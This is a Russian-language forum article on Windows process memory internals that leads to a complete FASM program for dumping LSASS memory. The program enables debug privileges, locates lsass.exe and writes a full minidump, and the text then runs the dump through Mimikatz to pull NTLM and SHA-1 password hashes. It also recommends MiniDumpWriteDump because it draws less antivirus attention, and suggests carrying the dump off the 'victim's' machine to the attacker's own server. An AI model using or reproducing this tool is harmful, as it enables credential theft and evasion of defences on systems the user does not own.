Статья ASM. Пишем кастомный дампер процессов

К созданию дампа памяти процесса обычно прибегают редко – как вариант, это может быть или работа с упакованным софтом UPX/ASPack и прочие, или-же кража информации из системных файлов типа lsass.exe (Local Security Authority Subsystem Service), где спрятан хэш пароля пользователя. В природе уже есть масса решающих данную проблему утилит, однако это внешний софт, к услугам которого не желательно прибегать оказавшись на чужбине. В данной статье речь пойдёт о том, как без сторонней помощи похозяйничить в чужом процессе, со всеми вытекающими последствиями.

Оглавление:
  1. Базовые сведения о памяти процессов
  2. Распространённые способы снятия дампов
  3. Альтернативный метод
  4. Практика
  5. Заключение.


1. Базовые сведения о памяти процессов

Вернёмся к истокам и вспомним, как Win-NT распределяла память своим и пользовательским процессам.
Отметим, что за всю историю существования NT мы стали очевидцами координальных изменений, и не маловажную роль сыграли здесь конечно-же вездесущие хакеры, что вынуждало Micrososft укреплять подсистему безопасности своей оси. Как результат, на данный момент нам осталось лишь небольшое окно API, через которое мы можем с пользовательского уровня общаться с системой. В принципе так было, есть и будет, иначе ни о каком прогрессе в сфере ИТ не может быть и речи.

Значит имеем физическую память ОЗУ, которая делится на фреймы одинакового размера по 4КБ. Система ведёт учёт каждого такого блока, для чего предусмотрена специальная база номеров PFN, или Page-Frame-Number. Чтобы увеличить объём доступной памяти, инженеры решили виртуализировать доступ к ОЗУ – теперь одному PFN можно назначить два и более одинаковых вирт.адреса. Так появился термин «виртуальная страница» Virtual-Page, которая по размеру обычно (но не всегда) равна «физическому фрейму» Physical-Frame. Не всегда потому, что размер фрейма статичен 4КБ, зато в вирт.странице могут быть несколько таких фреймов, т.е. размер страницы Page всегда кратен 4К-байтному Frame.

Теперь, на этапе создания нового процесса, система выстраивает для него многоуровневую «Таблицу вирт.страниц» Page-Table, и сохраняет её адрес в регистре процессора СR3. На системах х32 уровней в таблице всего 2 (каталог PageDir, и таблица записей PTE = Page-Table-Entry), а на х64 кол-во подкаталогов было увеличено до трёх. Продемонстрировать сказанное может отладчик WinDbg, если передать его расширению !cmkd.ptelist любой виртуальный адрес, например блока окружения процесса РЕВ (Process Environment Block):

Код:
0: kd> !peb
PEB at 000007fffffdf000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            No
    ImageBaseAddress:         00000000ff250000
    Ldr                       0000000076e72e40
    Ldr.Initialized:          Yes
...........

0: kd> !cmkd.ptelist -v 000007fffffdf000
VA=000007FFFFFDF000
  PXE Idx=00F  Va=FFFFF6FB7DBED078  Hard Pfn=00075AE3  Attr=---DA--UWEV
  PPE Idx=1FF  Va=FFFFF6FB7DA0FFF8  Hard Pfn=000758E4  Attr=---DA--UWEV
  PDE Idx=1FF  Va=FFFFF6FB41FFFFF8  Hard Pfn=00075825  Attr=---DA--UWEV
  PTE Idx=1DF  Va=FFFFF683FFFFFEF8  Hard Pfn=000756E6  Attr=---DA--UW-V

0: kd>

Здесь видно, что вирт.странице 0x07fffffdf000 соответствует физический PFN=0x0756E6, который описывает запись РТЕ с индексом Idx=1DF (см.последнюю строку в логе выше). Но в контексте данной темы нас будут интересовать атрибуты этой страницы – в нашем случае имеем:

D = Dirty: грязная/изменённая​
A = Accesed: кто-то уже осуществлял к ней доступ​
U = UserPage: страница пользовательского режима (иначе Kernel)​
W = WriteOnly: доступна для чтения/записи без исполнения(Е)​
V = Valid: действительная/валидная страница, которая находится сейчас в памяти.​

Обратите внимание, что взведённый бит(W) в атрибутах неявно подразумевает и чтение(R). Можно сравнить лог выше с произвольным адресом в пространстве ядра, чтобы была возможность заглянуть в атрибуты его страниц. Например расширение отладчика !cmkd.kvas сбрасывает карту системного пространства (KVAS от Kernel-Virtual-Address-Space):

Код:
0: kd> !cmkd.kvas
###  Start             End                               Length   Type
000  ffff080000000000  fffff67fffffffff   ee8000000000 ( 238 TB)  SystemSpace
001  fffff68000000000  fffff6ffffffffff     8000000000 ( 512 GB)  PageTables
002  fffff70000000000  fffff77fffffffff     8000000000 ( 512 GB)  HyperSpace
003  fffff78000000000  fffff78000000fff           1000 (   4 KB)  SharedSystemPage
004  fffff78000001000  fffff7ffffffffff     7ffffff000 ( 511 GB)  CacheWorkingSet
005  fffff80000000000  fffff87fffffffff     8000000000 ( 512 GB)  LoaderMappings
006  fffff88000000000  fffff89fffffffff     2000000000 ( 128 GB)  SystemPTEs       <----- пусть будет S_PTEs
007  fffff8a000000000  fffff8bfffffffff     2000000000 ( 128 GB)  PagedPool
008  fffff90000000000  fffff97fffffffff     8000000000 ( 512 GB)  SessionSpace
009  fffff98000000000  fffffa7fffffffff    10000000000 (   1 TB)  DynamicKernelVa
010  fffffa8000000000  fffffa80038fffff        3900000 (  57 MB)  PfnDatabase
011  fffffa8003800000  fffffa80c03fffff       bcc00000 (   2 GB)  NonPagedPool
012  ffffffffffc00000  ffffffffffffffff         400000 (   4 MB)  HalReserved

0: kd> !cmkd.ptelist fffff88000000000 –v    <--------- Адрес SystemPTEs
VA=FFFFF88000000000
  PXE Idx=1F1  Va=FFFFF6FB7DBEDF88  Hard Pfn=00127B04  Attr=---DA--KWEV
  PPE Idx=000  Va=FFFFF6FB7DBF1000  Hard Pfn=00127B03  Attr=---DA--KWEV
  PDE Idx=000  Va=FFFFF6FB7E200000  Hard Pfn=00127B02  Attr=---DA--KWEV
  PTE Idx=000  Va=FFFFF6FC40000000  Hard Pfn=00127B11  Attr=-GLDA--KWEV

---------------------
В атрибутах появились биты:
        G = Global,
        L = Large = большая вирт.страница размером 2 или 4 МБ (512 или 1024 фреймов соответственно)
        K = Kernel,
        E = Executable.

0: kd>

С пользовательского уровня, при помощи функций VirtualAlloc/Protect() мы можем менять атрибуты только тех страниц, у которых в записях РТЕ взведён бит(U), иначе получим исключение #AV, или «Access Violation» нарушение прав доступа. Однако некоторые из системных процессов находятся и на территории юзера, а значит мы можем свободно модифицировать их атрибуты, осталось только определиться, зачем? Здесь уже всё зависит от решаемой задачи, а конкретно в нашем случае – это сброс дампа памяти.


1.1. Проецирование и механизм «Copy-On-Write»

Ошибки никому чужды, в том числе и инженерам из Microsoft. Поскольку нужно было с чего-то начинать, механизм проекции системных DLL всем пользовательским процессам был весьма примитивным. По всей вероятности ставка была сделана на честность, но на практике получился бумеранг. Если коротко, то Win-NT4 (2000, или Win2k) загружала запрашиваемые софтом DLL в свою память, после чего присваивала этой памяти атрибут «Share», предоставляя таким образом всем желающим к ней неограниченный доступ. Как результат, любой процесс мог изменить эту память по своему усмотрению, и это распространялось сразу на все пользовательские процессы. Одним словом – коммунизм!

Достаточно быстро пришло озарение, что такую политику надо в корень менять, и теперь системные библиотеки проецируются в каждый ЮМ процесс отдельно, причём с доступом «Только на чтение». Этим занимается загрузчик образов в Ntdll.dll, а точнее его внутренняя Internals-функция LdrpMapViewOfSection(). При попытки записи в область памяти системных DLL, тут-же срабатывает сторожевой механизм «Copy-On-Write», который создаёт копию/дубликат страницы, и вручает её запросившему запись. То есть, мы можем сколь угодно менять содержимое системных библиотек, но эти изменения не выйдут за рамки нашего процесса. Рисунок ниже демонстрирует данную технологию:

COW.webp

Для контроля состояния страниц ядро ОС использует структуру MMPTE, но в силу того, что страница может находиться в 6-ти различных состояниях (например выгружена в своп), в отладчике WinDbg нужно уточнять запрос. В дефолте фреймы ходят под флагом HARDWARE (см.ниже HardPfn), а остальные варианты представлены в логе:

Код:
0: kd> dt _mmpte u.
nt!_MMPTE
   +0x000 u  :
      +0x000 Long      : Uint8B
      +0x000 Hard      : _MMPTE_HARDWARE     <------ активна и находится сейчас в памяти
      +0x000 Proto     : _MMPTE_PROTOTYPE    <------ после срабатывания механизма «CopyOnWrite»
      +0x000 Soft      : _MMPTE_SOFTWARE     <------ выгружена в файл-подкачки/своп
      +0x000 TimeStamp : _MMPTE_TIMESTAMP    <------ прочее..
      +0x000 Trans     : _MMPTE_TRANSITION
      +0x000 Subsect   : _MMPTE_SUBSECTION
      +0x000 List      : _MMPTE_LIST

0: kd> !cmkd.ptelist fffff8a0121c7160 -v
VA=FFFFF8A0121C7160
  PXE Idx=1F1  Va=FFFFF6FB7DBEDF88  Hard Pfn=00127B04  Attr=---DA--KWEV
  PPE Idx=080  Va=FFFFF6FB7DBF1400  Hard Pfn=000030B0  Attr=---DA--KWEV
  PDE Idx=090  Va=FFFFF6FB7E280480  Hard Pfn=0010D584  Attr=---DA--KWEV
  PTE Idx=1C7  Va=FFFFF6FC50090E38  Hard Pfn=000AC2BB  Attr=-G-DA--KW-V
                         |
                         +--------------------------+
                                                    |
0: kd> dt _mmpte_hardware FFFFF6FC50090E38  <-------+
nt!_MMPTE_HARDWARE
   +0x000 Valid            : 0y1
   +0x000 Owner            : 0y0
   +0x000 WriteThrough     : 0y0
   +0x000 CacheDisable     : 0y0
   +0x000 Accessed         : 0y1
   +0x000 Dirty            : 0y1
   +0x000 LargePage        : 0y0
   +0x000 Global           : 0y1
   +0x000 CopyOnWrite      : 0y0   <---------
   +0x000 Write            : 0y1
   +0x000 PageFrameNumber  : 0y000000000000000010101100001010111011 (0x0AC2BB)
   +0x000 SoftwareWsIndex  : 0y00010110000 (0xb0)
   +0x000 NoExecute        : 0y1


2. Распространённые способы снятия дампов

Теперь рассмотрим, какой тактики придерживается софт для снятия дампа памяти процессов. Зверюшек в этом зоопарке много, поэтому остановимся лишь на парочке наиболее популярных – это «ProcessExplorer» Марка Руссиновича из пакета SysinternalsSuite, а так-же его альтернативе с более расширенными возможностями «ProcessHacker». Посколько эти монстры имеют свои полнофункциональные драйверы режима ядра, им абсолютно безразлично, системный процесс перед ними, или юзер.

Драйвер «Хакера» без заморочек так и называется KрrocessHacker3.sys, а драйвер «ProcessExplorera» немного замаскировался под ником ProcExp152.sys, где цифры в хвосте видимо определяют версию софта v15.2, а потому у вас могут отличаться. Посмотрим, какую инфу об этих драйверах сможет собрать отладчик:

Код:
0: kd> !drvobj KprocessHacker3
   Driver object (fffffa80056ab060) is for:  \Driver\KprocessHacker3
   Device Object list:  fffffa8005599060


0: kd> !devstack fffffa8005599060
  !DevObj           !DrvObj                  !DevExt   ObjectName
> fffffa8005599060  \Driver\KprocessHacker3  00000000  kprocesshacker3


0: kd> !drvobj KprocessHacker3 7
   DriverEntry:    fffff88003458064  KProcessHacker
   DriverStartIo:  00000000
   DriverUnload:   fffff880034540ec  KProcessHacker
   AddDevice:      00000000

   Dispatch routines:
   [00] IRP_MJ_CREATE              fffff88003450008    kprocesshacker+0x1008
   [02] IRP_MJ_CLOSE               fffff8800345014c    kprocesshacker+0x114c
   [0e] IRP_MJ_DEVICE_CONTROL      fffff88003450198    kprocesshacker+0x1198

---------------------------------------------------

0: kd> !drvobj procexp152
   Driver object (fffffa800631b960) is for:  \Driver\PROCEXP152
   Device Object list:  fffffa8004744630


0: kd> !devstack fffffa8004744630
  !DevObj           !DrvObj             !DevExt   ObjectName
> fffffa8004744630  \Driver\PROCEXP152  00000000  PROCEXP152


0: kd> !drvobj procexp152 7
   DriverEntry:   fffff88005bce058 PROCEXP152
   DriverStartIo: 00000000
   DriverUnload:  fffff88005bc7f90 PROCEXP152
   AddDevice:     00000000

   Dispatch routines:
   [00] IRP_MJ_CREATE              fffff88005bc6f70    PROCEXP152+0x1f70
   [02] IRP_MJ_CLOSE               fffff88005bc6f70    PROCEXP152+0x1f70
   [0e] IRP_MJ_DEVICE_CONTROL      fffff88005bc6f70    PROCEXP152+0x1f70

0: kd>

Судя по этим логам, перед нами Legacy-драйвера (т.е. не PnP), поскольку в стеке они единственные, а так-же нет обработчиков запросов IRP_MJ_POWER + IRP_MJ_PNP. Но данный факт никак не ограничивает их свободу по доступу к памяти всех активных процессов, и соответственно созданию дампов. Обратите внимание, что в драйвере PROCEXP152.sys одна процедура по смещению 0x1f70 обслуживает сразу все/три запроса.


2.1. Плагин для отладчиков «OllyDumpEx»

Ещё со времён легендарного «OllyDbg» на просторах сети можно найти хорошо зарекомендовавший себя плагин «OllyDump», который вобрал в себя всё лучшее из существующих ныне инструментов данного класса. Общественность так привыкла к нему, что с появлением «x64Dbg» энтузиасты переписали его код, в результате чего плаг стал универсальным – он исправно справляется со-своими обязанностями будучи привязанным к такому софту реверсеров как: WinDbg, x64Dbg, IDA-Pro/Free, Immunity Debugger, причём понимает не только формат исполняемых файлов мастдая РЕ, но и линуксовый ELF. Качаем от сюда:

Olly.webp

2.2. Дамперы третьего кольца без собственных драйверов

Создать дамп системного процесса из пользовательского режима проблематично по нескольким причинам: во-первых на Win7+ нужно решить вопрос с уровнем целостности объекта «Integrity Level» и обзавестись правами, а во-вторых большая часть процессов и сервисов ОС переместились уже в закрытую сессию(0), подобраться к которой из юзер-сессии(1) не так просто. Но как упоминалось выше, например тот-же процесс клиент-сервера csrss.exe существует в двух экземплярах для сессий(0:1), что добавляет нам оптимизма.

Встроенный в РЕ-Tools дампер
PeTools.webp

Чтобы снять дамп с произвольно взятого процесса, для начала нужно получить его дескриптор Handle, как этого требует штатная функция ReadProcessMemory(). Таким образом, классический алгоритм чтения чужой памяти реализуется примерно так..

1. Прежде всего добавляем себе привилегию отладки «SeDebugPrivilege» и разрешение на создание бэкапов «SeBackupPrivilege» – вопрос решает AdjustTokenPrivileges().​
2. Далее узнаём идентификатор PID процесса-жертвы, например функцией CreateToolhelp32Snapshot() с последующим вызовом в цикле Process32First/Next(). Кстати альтернативным вариантом является тяжёлая артилерия NtQuerySystemInformation() из нативной либы Ntdll.dll.​
3. Теперь полученный PID нужно преобразовать в Handle, для чего существует единственная в своём роде функция OpenProcess() – при её вызове желательно ограничиться только необходимыми флагами, например PROCESS_VM_READ + PROCESS_QUERY_INFORMATION, поскольку PROCESS_ALL_ACCESS ожидаемо может вернуть ошибку.​
4. Если всё пройдёт успешно и системные сторожа нас не обламают, значит повезло и нужно определиться, какие именно регионы памяти мы хотим сохранить. Самый простой вариант – это оттяпать у процесса всё доступное ему пространство, определив размер функцией VirtualQueryEx(). Но тогда получим много лишнего хлама типа 4К-байтные страницы с РЕ-заголовком, секцию ресурсов, импорта, экспорта, и т.п. где обычно нет ничего интересного. В идеале приходится вручную искать секцию-данных/кода по указателям в РeHeader и SectionTable, чтобы забрать с собой только самое необходимое.​
5. На заключительном этапе остаётся потянуть за ReadProcessMemory() со-следующим прототипом:​

C++:
BOOL ReadProcessMemory(               ;// <------------ Ok = True
  [in]  HANDLE  hProcess,             ;// хэндл процесса
  [in]  LPCVOID lpBaseAddress,        ;// адрес для чтения
  [out] LPVOID  lpBuffer,             ;// адрес приёмного буфера
  [in]  SIZE_T  nSize,                ;// кол-во байт для чтения
  [out] SIZE_T  *lpNumberOfBytesRead  ;// кол-во реально считанных байт
);

Как видим, на первый взгляд простая задача превращается в нетривиальную, поскольку пункты 3-5 будут иметь смысл только в случае, если мы пройдём первые два кардона защиты. Сторожа на WinXP были более дружелюбны, но с жёсткими ограниченими Win7+ так или иначе приходится мириться. Сейчас это можно сравнить с монеткой «орёл или решка», на что в большинстве случаях надеяться нельзя. Но есть-ли у нас другие варианты?


3. Альтернативные методы

Проблема здесь в том, что по сути имеем дело с роботом, которому трудно объяснить наши благие намерения. Подсистема безопасности функционирует по строго определённому правилу, а его детали зарыты глубоко в нёдрах Win. Если мы сможем передать нужную комбинацию флагов в цепочку вызовов WinAPI, то замок откроется и получим доступ к святая-святых, иначе план рухнет как карточный дом. Именно поэтому рекомендуется использовать функции строго из тех системных библиотек, которые предназначены для решения конкретной взятой задачи, а «доверенные лица» на обоих концах связи сами договорятся уже между собой.

На своей Win7-x64, в папке ..\system32 я насчитал 1750 библиотек DLL (достаточно выделить в TotalCmd), а общее число API-функций в них наверное не знает и сама Microsoft. По именам большинства DLL можно сделать вывод об их предназначении, хотя если задержать указатель мыши, то получим более подробное описание из секции ресурсов файла. Например тотал на комбинацию клавиш Ctrl+Q или горячую F3 отзывается весьма мощным плагином «Lister», пробежавшись по вкладкам которого можно собрать основную инфу об исполняемом РЕ-файле:

TCmd.webp

В данном случае, интерес для нас представляет либа DbgHelp.dll, в окопах которой притаилась функция MiniDumpWriteDump() – судя по её имени, это как раз то, что доктор прописал. Данная библиотека включена в штатную поставку всех версий Windows начиная с Win2k, а потому её не нужно таскать с собой. Кстати отладчик WinDbg имеет свою версию DbgHelp.dll, которая отличается как по содержимому (добавлены некоторые функции), так и по размеру. прототип этой функции:

C++:
BOOL MiniDumpWriteDump(
  [in] HANDLE                            hProcess,         ;// дескриптор процесса-жертвы,
  [in] DWORD                             ProcessId,        ;// ... и его PID.
  [in] HANDLE                            hFile,            ;// дескриптор открытого файла, куда сбросится дамп
  [in] MINIDUMP_TYPE                     DumpType,         ;// тип дампа: Minidump(0) или Fulldump(2).
  [in] PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,   ;// 0
  [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,  ;// 0
  [in] PMINIDUMP_CALLBACK_INFORMATION    CallbackParam     ;// 0
);

Как видим, на входе она тоже ожидает дескриптор с идентификатором процесса-жертвы, однако преимущество её использования в том, что не нужно в рукопашную искать данные в памяти процесса – мы просто перекладываем эту задачу на тушку самой функции. Более того, классическая функция чтения памяти ReadProcessMemory() вызывает подозрение у антивирусов и различного рода сторожей системы, в то время как MiniDumpWriteDump() не привлекает к себе такого внимания, что непременно играет нам на руку.

Продолжая разговор о специфичных функциях создания дампов отметим, что начиная с Win-8 в составе Kernel32.dll появилась ещё одна удобная функция PssCaptureSnapshot(), где префикс(PS) явно указывает на фронт работы с процессами. Если нам не нужна поддержка систем Win7, то использование этой API вполне оправдывает ожидания.


4. Практическая часть

В практической части напишем код, который сдампит системный процесс LSASS.EXE. На следующем этапе передадим этот дамп софту «Mimikatz», чтобы получить от него хеши пароля пользователя NTLM и SHA-1. Для этого будем преследовать примерно следующий алгоритм:
  1. OpenProcessToken() + AdjustTokenPrivileges() для повышения своих привелегий;
  2. CreateToolhelp32Snapshot() + Process32First/Next() – поиск идентификатора PID процесса LSASS.EXE;
  3. OpenProcess() с правами PROCESS_VM_READ + PROCESS_QUERY_INFORMATION – получить Handle из PID;
  4. CreateFile() для создания пустого файла дампа;
  5. MiniDumpWriteDump() сбрасывает в указанный файл дамп памяти процесса LSASS.EXE;
  6. CloseHandle() – закрывает все отрытые дескрипторы.
Создание обычного дампа требует от нас много приседаний, но это минимум и ничего от сюда вырезать нельзя.
А вот собственно и практическая реализация сказанного на диалекте ассемблера FASM:

C-подобный:
format   pe64 console
include 'win64ax.inc'
entry    start
;//-----------
section '.data' data readable writable
newState:       ;//<-----<---- Структура "TOKEN_PRIVILEGES"
Count       dd  2
Luid1       dq  0
Attribute1  dd  SE_PRIVILEGE_ENABLED
Luid2       dq  0
Attribute2  dd  SE_PRIVILEGE_ENABLED

align 16
struct PROCESSENTRY32
  dwSize                dd  sizeof.PROCESSENTRY32
  cntUsage              dd  0         ;// резерв
  th32ProcessID         dd  0         ;// PID
  th32DefaultHeapID     dd  0         ;// резерв
  th32ModuleID          dd  0         ;// резерв
  cntThreads            dd  0         ;// кол-во потоков
  th32ParentProcessID   dq  0         ;// PID родителя
  pcPriClassBase        dd  0         ;// базовый приоритет потоков
  dwFlags               dq  0         ;// резерв
  szExeFile             rb  MAX_PATH  ;// имя процесса
ends

TH32CS_SNAPPROCESS          = 2
MiniDumpWithFullMemory      = 2

procEntry   PROCESSENTRY32

Snapshot    dd   0
lsassHndl   dq   0
hFile       dq   0
hToken      dq   0
dumpName    db   'Lsass.dmp',0
buff        db   0
;//-------------------------------------

section '.code' code readable executable
start:   sub     rsp,8
         invoke  SetConsoleTitle,<' *** Lsass Memory Damper ***',0>

;//----- Открываем токен своего процесса
         invoke  GetCurrentProcess
         invoke  OpenProcessToken,rax,\
                                  TOKEN_QUERY + TOKEN_ADJUST_PRIVILEGES,\
                                  hToken
         or      rax,rax
         jnz     @f
        cinvoke  printf,<10,' Error OpenProcessToken()',0>
         jmp     @exit

;//----- Получаем LUID'ы привилегий по их именам
@@:      invoke  LookupPrivilegeValue,0,<'SeDebugPrivilege' ,0>,Luid1
         invoke  LookupPrivilegeValue,0,<'SeBackupPrivilege',0>,Luid2

;//----- Выставляем привилегии в токене!
         invoke  AdjustTokenPrivileges,[hToken],0,newState,0,0,0
         or      rax,rax
         jnz     @f
        cinvoke  printf,<10,' fn. AdjustTokenPrivileges() error!',0>
         jmp     @exit
@@:     cinvoke  printf,<10,' Debug privelege OK!',0>

;//----- Собираем инфу об активных процессах системы
         invoke  CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
         mov     [Snapshot],eax

;//----- Ищем в буфере процесс LSASS.EXE
         invoke  Process32First,eax,procEntry
@@:      invoke  Process32Next,[Snapshot],procEntry
         or      eax,eax
         je      @stop
         lea     rax,[procEntry.szExeFile]
         cmp     dword[rax],'lsas'          ;// наш процесс?
         jne     @b                         ;// нет продолжить..

;//----- Пытаемся из PID получить Handle
@stop:   invoke  OpenProcess,PROCESS_VM_READ + PROCESS_QUERY_INFORMATION,\
                             0,[procEntry.th32ProcessID]
         or      eax,eax
         jnz     @f
        cinvoke  printf,<10,' Lsass.exe OpenProcess() Error!',0>
         jmp     @exit
@@:      mov     [lsassHndl],rax

;//----- Создаём файл дампа и сбрасываем в него память
         invoke  _lcreat,dumpName,0
         mov     [hFile],rax
         invoke  MiniDumpWriteDump,[lsassHndl],[procEntry.th32ProcessID],[hFile],\
                                   MiniDumpWithFullMemory,0,0,0

;//----- Покажем имя и размер созданного дампа
         invoke  GetFileSize,[hFile],0
        cinvoke  printf,<10,' %s  size: %d Byte',0>,dumpName,rax

;//----- Освобождаем все дескрипторы
         invoke  _lclose,[hFile]
         invoke  CloseHandle,[lsassHndl]
         invoke  CloseHandle,[Snapshot]

@exit:  cinvoke  _getch
        cinvoke  exit, 0

;//----------------------------------
section '.idata' import data readable
library  msvcrt,'msvcrt.dll', advapi32,'advapi32.dll',\
         kernel32,'kernel32.dll', dbghelp,'dbghelp.dll'
import   dbghelp,MiniDumpWriteDump,'MiniDumpWriteDump'
include 'api\msvcrt.inc'
include 'api\kernel32.inc'
include 'api\advapi32.inc'
include 'equates\advapi32.inc'

dump.webp

mimikatz.webp

Судя по всему, Mimikatz принял на борт наш дамп, и вывел из него приличный лог со всей подноготной зареганного юзера. На практике этот дамп можно отправить на свой сервак, или иным способом уташить с машины жертвы на свой хост, и исследовать его уже в Mimikatz оффлайн. Здесь главное, что способ рабочий, а значит ему можно найти применение в критических обстоятельствах.


5. Заключение

В памяти системных процессов хранится множество важных артефактов, и этой теме посвящена даже отдельная область «Криминалистический анализ памяти». Как нибудь в следующий раз мы копнём её глубже, например заглянем в файл-подкачки и раскопаем до дна стек. А пока ставлю здесь точку, не забыв прикрепить в скрепку приведённый выше бинарь для тестов, а так-же саму программу «Mimikatz» (64-битную её версию я скачавал давно, и что-то не нашёл сейчас линка – везде только х32). Всем удачи, пока!
 

Вложения

Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!